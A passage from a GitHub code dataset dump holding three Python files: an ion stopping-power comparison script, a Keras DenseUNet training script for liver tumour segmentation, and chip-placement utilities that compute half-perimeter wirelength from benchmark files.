299792000.\nBETHE_BLOCH_PREFACTOR = 4.*PI*(Q*Q/(4.*PI*EPS0))*(Q*Q/(4.*PI*EPS0))/ME/C/C\nLINDHARD_SCHARFF_PREFACTOR = 1.212*ANGSTROM*ANGSTROM*Q\n\ndef W(E0, E, Ma):\n K = E + 2*Ma*C**2\n B = E0**2 - 2*ME*C**2*E0 - 2*E*K\n A = E + 2*ME*C**2 + K - 2*E0\n G = A**2 - 4*E*K\n D = A*B + 2*E*K*(E + K)\n F = B**2 - 4*E**2*K**2\n\n W_plus = (-D + np.sqrt(D**2 - F*G))/G\n W_minus = (-D - np.sqrt(D**2 - F*G))/G\n\n return W_plus, W_minus\n\ndef S_BV(Za, Zb, Ma, n, E, CK=1.):\n #breakpoint()\n #Biersack-Varelas stopping\n beta = np.sqrt(1. - (1. + E/Ma/C**2)**(-2.))\n v = beta*C\n\n if Zb < 13:\n I0 = 12 + 7/Zb\n else:\n I0 = 9.76 + 58.5*Zb**(-1.19)\n\n I = Zb*I0*Q\n\n if Zb < 3:\n B = 100.*Za/Zb\n else:\n B = 5.\n\n prefactor = BETHE_BLOCH_PREFACTOR*Zb*Za*Za/beta/beta\n eb = 2.*ME*v*v/I\n #Bethe stopping modified by Biersack and Varelas\n S_BB_BV = prefactor*np.log(eb + 1. + B/eb)*n\n #Pure Bethe stopping\n S_BB = prefactor*np.log(eb)*n\n #Lindhard-Scharff\n S_LS = CK*LINDHARD_SCHARFF_PREFACTOR*(Za**(7./6.)*Zb)/(Za**(2./3.) + Zb**(2./3.))**(3./2.)*(E/Q)**0.5*np.sqrt(1./Ma*AMU)*n\n #Biersack-Varelas Interpolation\n S = 1./(1./S_LS + 1./S_BB_BV)\n return S_BB, S_LS, S\n\ndef S_MV(Za, Ma, n, E, E0s, alpha0s):\n #Medvedev-Volkov stopping (2020)\n beta = np.sqrt(1. - (1. + E/Ma/C**2)**(-2.))\n\n prefactor = Za**2/(PI*A0*ME*C**2*beta**2)\n\n sum = 0.\n E_min = 0.\n for E0, alpha0 in zip(E0s, alpha0s):\n\n E0 *= Q\n alpha0 *= Q**2\n\n W_plus, W_minus = W(E0, E, Ma)\n if np.isnan(W_minus) or np.isnan(W_plus):\n continue\n #print(W_plus, W_minus)\n #print((2.*Ma*C**2 + W_plus - E0)/(2.*Ma*C**2 + W_minus - E0))\n term_1 = (2.*Ma*C**2 - ME*C**2)*np.log((2.*Ma*C**2 + W_plus - E0)/(2.*Ma*C**2 + W_minus - E0))\n #print((W_plus - E0)/(W_minus - E0))\n if (W_plus - E0)/(W_minus - E0) > 0:\n term_2 = ME*C**2*np.log((W_plus - E0)/(W_minus - E0))\n else:\n term_2 = 0.\n sum += alpha0/(ME*C**2)*(term_1 + term_2)\n #breakpoint()\n return prefactor*sum\n\ndef main():\n Ma = 1*AMU\n Za = 1\n Zb = 13\n n = 6.026E28\n energies = np.logspace(-3, 5, 500)*1E6*Q\n lw = 3\n\n\n\n S_MV_list = []\n S_BV_list = []\n S_LS_list = []\n S_BB_list = []\n for energy in energies:\n S_MV_ = S_MV(Za, Ma, n, energy, [1520, 150.7, 111, 110, 15.1], [158, 164, 260, 517, 385])\n S_MV_list .append(S_MV_/Q*1E-10)\n S_BB_, S_LS_, S_BV_ = S_BV(Za, Zb, Ma, n, energy, CK=2.5/2.)\n S_BV_list.append(S_BV_/Q*1E-10)\n S_LS_list.append(S_LS_/Q*1E-10)\n S_BB_list.append(S_BB_/Q*1E-10)\n\n plt.semilogx(energies/1E6/Q, S_MV_list, '-.', linewidth=lw)\n\n data = np.genfromtxt('H_Al.dat')\n E_PSTAR = data[:,0]\n S_PSTAR = data[:,1]*270.*1E6*1E-10\n S_BV_list = np.array(S_BV_list)\n S_LS_list = np.array(S_LS_list)\n S_BB_list = np.array(S_BB_list)\n S_MV_list = np.array(S_MV_list)\n\n plt.semilogx(E_PSTAR, S_PSTAR, linewidth=lw)\n plt.semilogx(energies/1E6/Q, S_BV_list, '--', linewidth=lw)\n plt.semilogx(energies/1E6/Q, S_LS_list, ':', linewidth=lw)\n plt.semilogx(energies/1E6/Q, S_BB_list, '.', linewidth=lw)\n\n dat = np.genfromtxt('dat')\n e = dat[:,0]/1E6/Q\n s1 = dat[:,1]/Q*1E-10\n s2 = dat[:,2]/Q*1E-10\n s3 = dat[:,3]/Q*1E-10\n plt.semilogx(e, s1, '-*', color='red')\n plt.semilogx(e, s2, '-*', color='blue')\n plt.semilogx(e, s3, '-*', color='green')\n\n plt.semilogx(np.ones(100)*24.97E3/1E6, np.linspace(0, 20, 100), '--', linewidth=1, color='black')\n\n #plt.semilogx(energies/1E6/Q, 1./(1./S_LS_list + 1./S_MV_list), '*')\n\n plt.axis([0., 1E5, 0., 1.3*np.max(S_BV_list)])\n plt.ylabel('Stopping Power [eV/A]')\n plt.xlabel('Incident Energy [MeV]')\n\n plt.legend(['Medvedev-Volkov', 'PSTAR', 'Biersack-Varelas', 'Lindhard-Scharff', 'Pure Bethe', 'L-S Validity'])\n\n\n plt.show()\n\nif __name__ == '__main__':\n main()\n","repo_name":"drobnyjt/dedx","sub_path":"dedx.py","file_name":"dedx.py","file_ext":"py","file_size_in_byte":4231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72543774944","text":"import os\nimport numpy as np\nimport random\nimport argparse\nfrom loss import weighted_cross_entropy_2d\nfrom denseunet2d import DenseUNet\nimport preprocessing as pre\nimport keras.backend as k\nfrom medpy.io import load\nfrom multiprocessing.dummy import Pool as ThreadPool\nfrom keras.optimizers import SGD\nfrom keras.callbacks import ModelCheckpoint\nfrom skimage.transform import resize\n\nk.set_image_data_format('channels_last')\ngoogle_drive_path = pre.google_drive_path\n\nparser = argparse.ArgumentParser(description='Keras 2D DenseUNet Training')\n\nparser.add_argument('-data', type=str, default=google_drive_path + '/data', help='test images')\nparser.add_argument('-save_path', type=str, default=google_drive_path + '/experiment')\n\nparser.add_argument('-batch', type=int, default=40)\nparser.add_argument('-input_size', type=int, default=224)\nparser.add_argument('-model_weight', type=str, default='./model/densenet161_weights_tf.h5')\nparser.add_argument('-input_column', type=int, default=3)\n\nparser.add_argument('-mean', type=int, default=48)\nparser.add_argument('-thread_num', type=int, default=14)\nargs = parser.parse_args()\n\nmean = args.mean\nthread_num = args.thread_num\n\nliver_list = [32, 34, 38, 41, 47, 87, 89, 91, 105, 106, 114, 115, 119]\n\n\ndef data_augmentation(parameter_list):\n img = parameter_list[0]\n tumor = parameter_list[1]\n lines = parameter_list[2]\n num_id = parameter_list[3]\n min_index = parameter_list[4]\n max_index = parameter_list[5]\n\n # Randomly scale --> cropping\n scale = np.random.uniform(0.8, 1.2)\n depth = int(args.input_size * scale)\n row = int(args.input_size * scale)\n column = 3\n\n sed = np.random.randint(1, num_id)\n cen = lines[sed - 1]\n cen = np.fromstring(cen, dtype=int, sep=' ')\n\n a = min(max(min_index[0] + depth / 2, cen[0]), max_index[0] - depth / 2 - 1)\n b = min(max(min_index[1] + row / 2, cen[1]), max_index[1] - row / 2 - 1)\n c = min(max(min_index[2] + column / 2, cen[2]), max_index[2] - column / 2 - 1)\n\n cropped_img = img[a - depth / 2:a + depth / 2, b - row / 2:b + row / 2, c - column / 2: c + column / 2 + 1].copy()\n cropped_tumor = tumor[a - depth / 2:a + depth / 2, b - row / 2:b + row / 2, c - column / 2:c + column / 2 + 1].copy()\n\n cropped_img -= mean\n\n # Randomly flipping --> mirroring\n flip_num = np.random.randint(0, 8)\n if flip_num == 1:\n cropped_img = np.flipud(cropped_img)\n cropped_tumor = np.flipud(cropped_tumor)\n elif flip_num == 2:\n cropped_img = np.fliplr(cropped_img)\n cropped_tumor = np.fliplr(cropped_tumor)\n elif flip_num == 3:\n cropped_img = np.rot90(cropped_img, k=1, axes=(1, 0))\n cropped_tumor = np.rot90(cropped_tumor, k=1, axes=(1, 0))\n elif flip_num == 4:\n cropped_img = np.rot90(cropped_img, k=3, axes=(1, 0))\n cropped_tumor = np.rot90(cropped_tumor, k=3, axes=(1, 0))\n elif flip_num == 5:\n cropped_img = np.fliplr(cropped_img)\n cropped_tumor = np.fliplr(cropped_tumor)\n cropped_img = np.rot90(cropped_img, k=1, axes=(1, 0))\n cropped_tumor = np.rot90(cropped_tumor, k=1, axes=(1, 0))\n elif flip_num == 6:\n cropped_img = np.fliplr(cropped_img)\n cropped_tumor = np.fliplr(cropped_tumor)\n cropped_img = np.rot90(cropped_img, k=3, axes=(1, 0))\n cropped_tumor = np.rot90(cropped_tumor, k=3, axes=(1, 0))\n elif flip_num == 7:\n cropped_img = np.flipud(cropped_img)\n cropped_tumor = np.flipud(cropped_tumor)\n cropped_img = np.fliplr(cropped_img)\n cropped_tumor = np.fliplr(cropped_tumor)\n\n cropped_tumor = resize(cropped_tumor, (args.input_size, args.input_size, args.input_cols), order=0, mode='edge', cval=0, clip=True, preserve_range=True)\n cropped_img = resize(cropped_img, (args.input_size, args.input_size, args.input_cols), order=3, mode='constant', cval=0, clip=True, preserve_range=True)\n return cropped_img, cropped_tumor[:, :, 1]\n\n\ndef generate_arrays_from_file(data_id, volume_list, segmentation_list, tumor_lines, liver_lines, tumor_id, liver_id, min_index_list, max_index_list):\n while 1:\n x = np.zeros((args.batch, args.input_size, args.input_size, args.input_column), dtype='float32')\n y = np.zeros((args.batch, args.input_size, args.input_size, 1), dtype='int16')\n parameter_list = []\n for _ in range(args.batch):\n count = random.choice(data_id)\n img = volume_list[count]\n tumor = segmentation_list[count]\n min_index = min_index_list[count]\n max_index = max_index_list[count]\n num = np.random.randint(0, 6)\n # To generate batches with 50% liver and 50% tumor CT scans\n if num < 3 or (count in liver_list):\n lines = liver_lines[count]\n num_id = liver_id[count]\n else:\n lines = tumor_lines[count]\n num_id = tumor_id[count]\n parameter_list.append([img, tumor, lines, num_id, min_index, max_index])\n pool = ThreadPool(thread_num)\n result_list = pool.map(data_augmentation, parameter_list)\n # result_list will look like cropped_img, cropped_tumor[:,:,1]\n pool.close()\n pool.join()\n\n for i in range(len(result_list)):\n x[i, :, :, :] = result_list[i][0]\n y[i, :, :, 0] = result_list[i][1]\n yield (x, y)\n\n\ndef load_fast_files():\n data_id = list(range(131))\n volume_list = []\n segmentation_list = []\n min_index_list = []\n max_index_list = []\n tumor_lines = []\n tumor_id = []\n liver_lines = []\n liver_id = []\n\n for i in range(131):\n volume, img_header = load(args.data + '/myTrainingData/volume-' + str(i) + '.nii')\n segmentation, tumor_header = load(args.data + '/myTrainingData/segmentation-' + str(i) + '.nii')\n volume_list.append(volume)\n segmentation_list.append(segmentation)\n\n max_min_list = np.loadtxt(args.data + '/myTrainingDataTxt/LiverBox/box_' + str(i) + '.txt', delimiter=' ')\n min_index = max_min_list[0:3]\n max_index = max_min_list[3:6]\n min_index = np.array(min_index, dtype='int')\n max_index = np.array(max_index, dtype='int')\n min_index[0] = max(min_index[0] - 3, 0)\n min_index[1] = max(min_index[1] - 3, 0)\n min_index[2] = max(min_index[2] - 3, 0)\n max_index[0] = min(volume.shape[0], max_index[0] + 3)\n max_index[1] = min(volume.shape[1], max_index[1] + 3)\n max_index[2] = min(volume.shape[2], max_index[2] + 3)\n min_index_list.append(min_index)\n max_index_list.append(max_index)\n f1 = open(args.data + '/myTrainingDataTxt/TumorPixels/tumor_' + str(i) + '.txt', 'r')\n tumor_line = f1.readlines()\n tumor_lines.append(tumor_line)\n tumor_id.append(len(tumor_line))\n f1.close()\n f2 = open(args.data + '/myTrainingDataTxt/LiverPixels/liver_' + str(i) + '.txt', 'r')\n liver_line = f2.readlines()\n liver_lines.append(liver_line)\n liver_id.append(len(liver_line))\n f2.close()\n\n return data_id, volume_list, segmentation_list, tumor_lines, liver_lines, tumor_id, liver_id, min_index_list, max_index_list\n\n\ndef train_and_predict():\n print('-' * 30)\n print('Creating and compiling model...')\n print('-' * 30)\n\n model = DenseUNet(reduction=0.5)\n model.load_weights(args.model_weight, by_name=True)\n # model = make_parallel(model, args.b / 10, mini_batch=10)\n sgd = SGD(lr=1e-3, momentum=0.9, nesterov=True)\n model.compile(optimizer=sgd, loss=[weighted_cross_entropy_2d])\n\n data_id, volume_list, segmentation_list, tumor_lines, liver_lines, tumor_id, liver_id, min_index_list, max_index_list = load_fast_files()\n\n print('-' * 30)\n print('Fitting model......')\n print('-' * 30)\n\n if not os.path.exists(args.save_path):\n os.mkdir(args.save_path)\n\n if not os.path.exists(args.save_path + \"/model\"):\n os.mkdir(args.save_path + '/model')\n os.mkdir(args.save_path + '/history')\n else:\n if os.path.exists(args.save_path + \"/history/lossbatch.txt\"):\n os.remove(args.save_path + '/history/lossbatch.txt')\n if os.path.exists(args.save_path + \"/history/lossepoch.txt\"):\n os.remove(args.save_path + '/history/lossepoch.txt')\n\n model_checkpoint = ModelCheckpoint(args.save_path + '/model/weights.{epoch:02d}-{loss:.2f}.hdf5', monitor='loss', verbose=1, save_best_only=False, save_weights_only=False, mode='min', period=1)\n\n steps = 27386 / args.batch\n model.fit_generator(generate_arrays_from_file(data_id, volume_list, segmentation_list, tumor_lines, liver_lines, tumor_id, liver_id, min_index_list, max_index_list), steps_per_epoch=steps,\n epochs=6000, verbose=1, callbacks=[model_checkpoint], max_queue_size=10,\n workers=3, use_multiprocessing=True)\n\n print('Finished Training .......')\n\n\nif __name__ == '__main__':\n train_and_predict()\n","repo_name":"zz10001/Thesis-LiTS2017","sub_path":"train_2ddense.py","file_name":"train_2ddense.py","file_ext":"py","file_size_in_byte":9006,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"41517905898","text":"import re\r\nimport numpy as np\r\nimport random\r\n\r\n\r\ndef get_coordinates(pl_file_name, node_name):\r\n \"\"\"\r\n\t@gk\r\n\tThis function takes as input a pl-file's name and a node's name\r\n\tand returns an int-type list of the coordinates.\r\n\tlist's form : [x-coordinate, y-coordinate]\r\n\t:param pl_file_name:\r\n\t:param node_name:\r\n\t:return:\r\n\t\"\"\"\r\n coordinates = []\r\n with open(pl_file_name) as f:\r\n for num, line in enumerate(f):\r\n if node_name in line:\r\n data = line.split()\r\n if node_name == data[0]:\r\n coordinates.append(float(data[1]))\r\n coordinates.append(float(data[2]))\r\n break\r\n return coordinates\r\n\r\n\r\ndef get_non_terminal_nodes_list(file_name):\r\n \"\"\"\r\n\t@gt\r\n\tthis function takes in as a parameter a .nodes file,\r\n\tafter checking if the line contains node information\r\n\tit checks if the node of that line is characterized as a terminal one\r\n\tand if it is not, it appends it in a list\r\n\t:param file_name: str\r\n\t:return non_terminal_list: list[str, str,..., str]\r\n\t\"\"\"\r\n non_terminal_list = []\r\n with open(file_name + \".nodes\") as f:\r\n for i, line in enumerate(f):\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n node_info = line.split()\r\n if len(node_info) == 3:\r\n non_terminal_list.append(node_info[0])\r\n\r\n return non_terminal_list\r\n\r\n\r\ndef get_coordinates_net(net_file, net_name):\r\n \"\"\"\r\n\t@gk\r\n\tThis function takes as input a .nets file's name and the name of a net\r\n\tand returns a dictionary of nodes and their coordinates\r\n\tdictionary's form: {'node's name': ['x','y'], ...}\r\n\t:param net_file: str\r\n\t:param net_name: str\r\n\t:return net: dict{'str': ['str','str']}\r\n\t\"\"\"\r\n pl_file = net_file.replace('.nets', '.pl')\r\n net = {}\r\n net_name_number = int(net_name.replace('n', ''))\r\n nodes_in_net_num = 0\r\n node_names = []\r\n data = []\r\n pos = 0\r\n counter = -1\r\n with open(net_file) as nf:\r\n for num, line in enumerate(nf, 0):\r\n if \"NetDegree\" in line:\r\n counter += 1\r\n if counter == net_name_number:\r\n pos = num\r\n data = line.split()\r\n nodes_in_net_num = data[2]\r\n\r\n with open(net_file) as nf:\r\n for num, line in enumerate(nf, 0):\r\n if pos < num <= pos + int(nodes_in_net_num):\r\n data = line.split()\r\n node_names.append(data[0])\r\n\r\n data.clear()\r\n with open(pl_file) as p:\r\n for num, line in enumerate(p):\r\n if num == 0 or '#' in line or line == '\\n':\r\n continue\r\n else:\r\n data.append(line.split())\r\n\r\n for i in node_names:\r\n for j in data:\r\n if i == j[0]:\r\n net[i] = [j[1]]\r\n net[i].append(j[2])\r\n\r\n return net\r\n\r\n\r\ndef return_nets_for_node(file_name, search_node):\r\n \"\"\"\r\n\t@gt\r\n\tthis function takes in as a parameter the name of the benchmark the user\r\n\twants to search and a node\r\n\treturns all nets the node is part of\r\n\t:param file_name: str\r\n\t:param search_node: str\r\n\t:return nets_in: list[str, str,..., str]\r\n\t\"\"\"\r\n\r\n nets = {}\r\n counter = 0\r\n nets_in = []\r\n\r\n with open(file_name + \".nets\") as f:\r\n num_of_nodes = -1\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if \"NetDegree\" in line:\r\n num_of_nodes = int(line.split()[2])\r\n net_name = \"n\" + str(counter)\r\n counter += 1\r\n nets[net_name] = []\r\n elif re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n num_of_nodes -= 1\r\n nets[net_name].append(line.split()[0])\r\n if num_of_nodes == 0:\r\n if search_node not in nets[net_name]:\r\n del nets[net_name]\r\n else:\r\n nets_in.append(net_name)\r\n\r\n return nets_in\r\n\r\n\r\ndef place_node(file_name, node, new_x, new_y):\r\n \"\"\"\r\n\t@gt\r\n\tthis function takes in as a parameter a benchmark and a list of nodes\r\n\tplaces these nodes in a random position inside the chip\r\n\tdoes same function to every node if \"all\" is given instead of a list\r\n\t:param file_name: str\r\n\t:param node_list: list[str, str,......, str]/\"all\"\r\n\t:return\r\n\t\"\"\"\r\n\r\n place = {}\r\n rows = {}\r\n counter = 0\r\n\r\n with open(file_name + \".scl\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if line.split()[0] == \"Coordinate\":\r\n starting_height = int(line.split()[2])\r\n if starting_height not in rows.keys():\r\n rows[starting_height] = []\r\n if line.split()[0] == \"Height\":\r\n height = int(line.split()[2])\r\n if line.split()[0] == \"Sitespacing\":\r\n sitespacing = line.split()[2]\r\n if line.split()[0] == \"SubrowOrigin\":\r\n starting_x = int(line.split()[2])\r\n ending_x = int(starting_x) + int(sitespacing) * int(line.split()[5])\r\n rows[starting_height].append(starting_x)\r\n rows[starting_height].append(ending_x)\r\n\r\n key_list = []\r\n for key in rows:\r\n key_list.append(key)\r\n key_list.sort()\r\n\r\n with open(file_name + \".pl\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if line.split()[0] == node:\r\n to_change = line\r\n place[line.split()[0]] = [line.split()[1], line.split()[2]]\r\n\r\n with open(file_name + \".pl\") as f:\r\n data = f.readlines()\r\n\r\n substring = to_change.split()[1]\r\n substring = substring.replace(to_change.split()[1], str(new_x), 1)\r\n to_change = to_change.replace(to_change.split()[1], substring, 1)\r\n\r\n substring = to_change.split()[2]\r\n substring = substring.replace(to_change.split()[2], str(new_y), 1)\r\n to_change = to_change.replace(to_change.split()[2], substring, 1)\r\n\r\n for i in range(len(data)):\r\n\r\n if re.search(r'\\b' + to_change.split()[0] + r'\\b', data[i]):\r\n data[i] = to_change + \"\\n\"\r\n\r\n with open(file_name + \".pl\", 'w') as p:\r\n p.writelines(data)\r\n\r\n\r\ndef total_hpwl(file_name):\r\n \"\"\"\r\n\t@gt\r\n\tthis function takes in as a parameter a benchmark\r\n\treturns hpwl\r\n\t:param file_name: str\r\n\t:return hpwl: int\r\n\t\"\"\"\r\n\r\n nodes = {}\r\n netsx = {}\r\n netsy = {}\r\n counter = 0\r\n hpwl = 0\r\n\r\n with open(file_name + \".nodes\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n if line.split()[0] not in nodes:\r\n nodes[line.split()[0]] = []\r\n nodes[line.split()[0]].append(line.split()[1])\r\n nodes[line.split()[0]].append(line.split()[2])\r\n\r\n with open(file_name + \".pl\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n nodes[line.split()[0]].append(line.split()[1])\r\n nodes[line.split()[0]].append(line.split()[2])\r\n\r\n with open(file_name + \".nets\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if \"NetDegree\" in line:\r\n num_of_nodes = int(line.split()[2])\r\n net_name = \"n\" + str(counter)\r\n counter += 1\r\n netsx[net_name] = []\r\n netsy[net_name] = []\r\n elif re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n if net_name in netsx:\r\n if len(netsx[net_name]) == 0:\r\n netsx[net_name].append(int(nodes[line.split()[0]][2]))\r\n netsx[net_name].append(int(nodes[line.split()[0]][2]) + int(nodes[line.split()[0]][0]))\r\n\r\n netsy[net_name].append(int(nodes[line.split()[0]][3]))\r\n netsy[net_name].append(int(nodes[line.split()[0]][3]) + int(nodes[line.split()[0]][1]))\r\n else:\r\n if int(nodes[line.split()[0]][2]) < netsx[net_name][0]:\r\n netsx[net_name][0] = int(nodes[line.split()[0]][2])\r\n\r\n if int(nodes[line.split()[0]][2]) + int(nodes[line.split()[0]][0]) > netsx[net_name][1]:\r\n netsx[net_name][1] = int(nodes[line.split()[0]][2]) + int(nodes[line.split()[0]][0])\r\n\r\n if int(nodes[line.split()[0]][3]) < netsy[net_name][0]:\r\n netsy[net_name][0] = int(nodes[line.split()[0]][3])\r\n\r\n if int(nodes[line.split()[0]][3]) + int(nodes[line.split()[0]][1]) > netsy[net_name][1]:\r\n netsy[net_name][1] = int(nodes[line.split()[0]][3]) + int(nodes[line.split()[0]][1])\r\n\r\n for net in netsx:\r\n hpwl += float(netsx[net][1] - netsx[net][0] + netsy[net][1] - netsy[net][0])\r\n\r\n return (hpwl)\r\n\r\n\r\ndef check_move_hpwl(file_name, node, x, y):\r\n \"\"\"\r\n\t@gt\r\n\tthis function takes in as a parameter a benchmark, a node\r\n\tand 2 coordinates x and y\r\n\treturns supposed hpwl if that node was moved to these coordinates\r\n\t:param file_name: str\r\n\t:param node: str\r\n\t:param x: int\r\n\t:param y: int\r\n\t:return hpwl: int\r\n\t\"\"\"\r\n\r\n nodes = {}\r\n netsx = {}\r\n netsy = {}\r\n counter = 0\r\n hpwl = 0\r\n\r\n with open(file_name + \".nodes\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n if line.split()[0] not in nodes:\r\n nodes[line.split()[0]] = []\r\n nodes[line.split()[0]].append(line.split()[1])\r\n nodes[line.split()[0]].append(line.split()[2])\r\n\r\n with open(file_name + \".pl\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n nodes[line.split()[0]].append(line.split()[1])\r\n nodes[line.split()[0]].append(line.split()[2])\r\n\r\n nodes[node][2] = x\r\n nodes[node][3] = y\r\n\r\n with open(file_name + \".nets\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n\r\n if line:\r\n if \"NetDegree\" in line:\r\n num_of_nodes = int(line.split()[2])\r\n net_name = \"n\" + str(counter)\r\n counter += 1\r\n netsx[net_name] = []\r\n netsy[net_name] = []\r\n elif re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n if net_name in netsx:\r\n if len(netsx[net_name]) == 0:\r\n netsx[net_name].append(int(nodes[line.split()[0]][2]))\r\n netsx[net_name].append(int(nodes[line.split()[0]][2]) + int(nodes[line.split()[0]][0]))\r\n\r\n netsy[net_name].append(int(nodes[line.split()[0]][3]))\r\n netsy[net_name].append(int(nodes[line.split()[0]][3]) + int(nodes[line.split()[0]][1]))\r\n else:\r\n if int(nodes[line.split()[0]][2]) < netsx[net_name][0]:\r\n netsx[net_name][0] = int(nodes[line.split()[0]][2])\r\n\r\n if int(nodes[line.split()[0]][2]) + int(nodes[line.split()[0]][0]) > netsx[net_name][1]:\r\n netsx[net_name][1] = int(nodes[line.split()[0]][2]) + int(nodes[line.split()[0]][0])\r\n\r\n if int(nodes[line.split()[0]][3]) < netsy[net_name][0]:\r\n netsy[net_name][0] = int(nodes[line.split()[0]][3])\r\n\r\n if int(nodes[line.split()[0]][3]) + int(nodes[line.split()[0]][1]) > netsy[net_name][1]:\r\n netsy[net_name][1] = int(nodes[line.split()[0]][3]) + int(nodes[line.split()[0]][1])\r\n\r\n for net in netsx:\r\n hpwl += float(netsx[net][1] - netsx[net][0] + netsy[net][1] - netsy[net][0])\r\n\r\n return (hpwl)\r\n\r\n\r\ndef locate_nodes_in_area(nodes_file_name, x1, y1, x2, y2):\r\n \"\"\"\r\n\t@gk\r\n\tThis function takes as input the name of the benchmark.nodes\r\n\tand the coordinates to form an area and returns a list of the\r\n\tnames of the nodes inside the defined area.\r\n\t:param nodes_file_name:\r\n\t:param x1:\r\n\t:param y1:\r\n\t:param x2:\r\n\t:param y2:\r\n\t:return:\r\n\t\"\"\"\r\n data = []\r\n nodes = {}\r\n res_nodes = []\r\n lx = rx = ly = uy = height = width = 0\r\n\r\n pl_file_name = nodes_file_name.replace('.nodes', '.pl')\r\n with open(pl_file_name) as pf:\r\n for num, line in enumerate(pf, 0):\r\n if num == 0 or '#' in line or line == '\\n':\r\n continue\r\n else:\r\n data = line.split()\r\n lx = int(data[1])\r\n ly = int(data[2])\r\n nodes[data[0]] = [lx]\r\n nodes[data[0]].append(ly)\r\n\r\n with open(nodes_file_name) as nf:\r\n for num, line in enumerate(nf):\r\n if num == 0 or '#' in line or line == '\\n' or \"NumNodes\" in line or \"NumTerminals\" in line:\r\n continue\r\n else:\r\n data = line.split()\r\n nodes[data[0]].append(int(data[1]))\r\n nodes[data[0]].append(int(data[2]))\r\n\r\n for n in nodes.items():\r\n if (x1 <= n[1][0] <= x2 or x1 <= n[1][0] + n[1][2] <= x2) \\\r\n and (y1 <= n[1][1] <= y2 or y1 <= n[1][1] + n[1][3] <= y2):\r\n res_nodes.append(n[0])\r\n else:\r\n continue\r\n\r\n return res_nodes\r\n\r\n\r\ndef find_similar_cells(nodes_file_name, node_name):\r\n \"\"\"\r\n\t@gk\r\n\tThis function takes as input a benchmarks node file\r\n\tand a node's name and returns a list of the nodes similar to the\r\n\tgiven one in width and height\r\n\t:param nodes_file_name:\r\n\t:param node_name:\r\n\t:return:\r\n\t\"\"\"\r\n data = []\r\n nodes = {}\r\n result = []\r\n\r\n with open(nodes_file_name) as n:\r\n for num, line in enumerate(n):\r\n if num == 0 or '#' in line or line == '\\n' or \"NumNodes\" in line or \"NumTerminals\" in line:\r\n continue\r\n else:\r\n data = line.split()\r\n nodes[data[0]] = [float(data[1])]\r\n nodes[data[0]].append(float(data[2]))\r\n\r\n wh = nodes.get(node_name)\r\n\r\n for n in nodes.items():\r\n if n[1][0] == wh[0] and n[1][1] == wh[1]:\r\n result.append(n[0])\r\n\r\n return result\r\n\r\n\r\ndef check_swap_cells_hpwl(file_name, node1, node2):\r\n \"\"\"\r\n\t@gt\r\n\tthis function takes in as a parameter a benchmark and two (2) nodes\r\n\treturns supposed hpwl if these nodes were swapped\r\n\t:param file_name: str\r\n\t:param node1: str\r\n\t:param node2: str\r\n\t:return hpwl: int\r\n\t\"\"\"\r\n\r\n nodes = {}\r\n netsx = {}\r\n netsy = {}\r\n counter = 0\r\n hpwl = 0\r\n\r\n with open(file_name + \".nodes\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n if line.split()[0] not in nodes:\r\n nodes[line.split()[0]] = []\r\n nodes[line.split()[0]].append(line.split()[1])\r\n nodes[line.split()[0]].append(line.split()[2])\r\n\r\n with open(file_name + \".pl\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n if line:\r\n if re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n nodes[line.split()[0]].append(int(line.split()[1]))\r\n nodes[line.split()[0]].append(int(line.split()[2]))\r\n\r\n nodes[node1][2] += nodes[node2][2]\r\n nodes[node2][2] = nodes[node1][2] - nodes[node2][2]\r\n nodes[node1][2] = nodes[node1][2] - nodes[node2][2]\r\n\r\n nodes[node1][3] += nodes[node2][3]\r\n nodes[node2][3] = nodes[node1][3] - nodes[node2][3]\r\n nodes[node1][3] = nodes[node1][3] - nodes[node2][3]\r\n\r\n with open(file_name + \".nets\") as f:\r\n for i, line in enumerate(f):\r\n\r\n line = line.strip()\r\n\r\n if line:\r\n if \"NetDegree\" in line:\r\n num_of_nodes = int(line.split()[2])\r\n net_name = \"n\" + str(counter)\r\n counter += 1\r\n netsx[net_name] = []\r\n netsy[net_name] = []\r\n elif re.match(r'[a-z]{1}[0-9]+', line.split()[0]):\r\n if net_name in netsx:\r\n if len(netsx[net_name]) == 0:\r\n netsx[net_name].append(int(nodes[line.split()[0]][2]))\r\n netsx[net_name].append(int(nodes[line.split()[0]][2]) + int(nodes[line.split()[0]][0]))\r\n\r\n netsy[net_name].append(int(nodes[line.split()[0]][3]))\r\n netsy[net_name].append(int(nodes[line.split()[0]][3]) + int(nodes[line.split()[0]][1]))\r\n else:\r\n if int(nodes[line.split()[0]][2]) < netsx[net_name][0]:\r\n netsx[net_name][0] = int(nodes[line.split()[0]][2])\r\n\r\n if int(nodes[line.split()[0]][2]) + int(nodes[line.split()[0]][0]) > netsx[net_name][1]:\r\n netsx[net_name][1] = int(nodes[line.split()[0]][2]) + int(nodes[line.split()[0]][0])\r\n\r\n if int(nodes[line.split()[0]][3]) < 